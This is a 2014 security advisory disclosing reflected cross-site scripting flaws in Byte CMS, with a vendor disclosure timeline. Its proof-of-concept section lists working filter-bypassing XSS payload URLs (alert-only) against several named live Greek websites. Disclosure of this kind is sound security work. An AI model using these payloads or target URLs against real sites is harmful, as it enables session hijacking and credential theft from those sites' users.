Byte CMS Cross Site Scripting

`# Exploit Title: Byte CMS Cross Site Scripting Vulnerabilities  
# Date: 02/03/2014  
# Exploit Author: projectzero labs  
# Projectzero ID: projectzero2014-003-bytecmsxss  
# Vendor Homepage: http://www.bitsnbytes.gr  
# Software Link: N/A - Commercial  
# Tested on: Kali Linux / Iceweasel v.22 & Mac OS X 10.8.5 / Firefox 27.0.1  
  
  
About the software:  
===================  
  
Byte CMS is a commercial content management system developed by  
BitsnBytes (www.bitsnbytes.gr)  
  
  
Vulnerability Details:  
======================  
  
projectzero labs identified a cross site scripting vulnerability in many  
variables of the Byte CMS software, which allows an attacker to execute  
a dynamic script (e.g. JavaScript) in the context of the application.  
  
This allows several different attack opportunities, mostly hijacking the  
current session of the user or changing the look of the page by changing  
the HTML on the fly to steal the user's credentials. This happens  
because the user input is interpreted as HTML/JavaScript by the browser.  
  
Cross-site scripting targets the users of an application instead of the server. Although this is a limitation,  
since it allows attackers to hijack other users' sessions, an attacker  
could target an administrator in order to gain full control over the application.  
  
Proof Of Concept:  
=================  
  
The cross site scripting vulnerability was found in many variables e.g. id,  
cid, images etc.The security issue might exist in additional variables but wasn't verified  
due to the nature of the audit (black-box).  
  
We must mention that the CMS applies a typical XSS filtering that can be  
easily bypassed.  
  
For the proof of concept we provide some of the vulnerable sites  
with the XSS payload trigger:  
  
  
http://www.bitsnbytes.gr/fss/slider.php?images='"--></style></scRipt><scRipt>alert(0x0000DB)</scRipt>  
  
http://www.bitsnbytes.gr/all.php?goto='"--></style></scRipt><scRipt>alert(0x0000BC)</scRipt>  
  
http://stokokkino.gr/mp3.php?id='"--></style></scRipt><scRipt>alert(0x000104)</scRipt>&w=300&h=23&a=0  
  
http://www.thepressproject.gr/list.php?cid='"--></style></scRipt><scRipt>alert(0x000202)</scRipt>  
  
http://www.msfree.gr/list.php?cid='"--></style></scRipt><scRipt>alert(0x000202)</scRipt>  
  
http://www.rednotebook.gr/details.php?id='"--></style></scRipt><scRipt>alert(0x000139)</scRipt>  
  
http://www.rednotebook.gr/report.php?id='"--></style></scRipt><scRipt>alert(0x00016B)</scRipt>&article=704&action=edit  
  
http://www.autofree.gr/ms.php?id='"--></style></scRipt><scRipt>alert(0x000361)</scRipt>  
  
  
Severity:  
=========  
  
Medium  
  
  
Disclosure Timeline:  
====================  
Vendor Contact: 23/12/2013 (Contacted vendor in person)  
09/01/2014 (1st email - no response about the fix)  
15/01/2014 (2nd email - no response about the fix)  
02/03/2014 (Email to the site owners)  
02/03/2014 Public Disclosure  
  
Credits:  
========  
  
projectzero labs  
  
[email protected]  
http://www.projectzero.gr  
`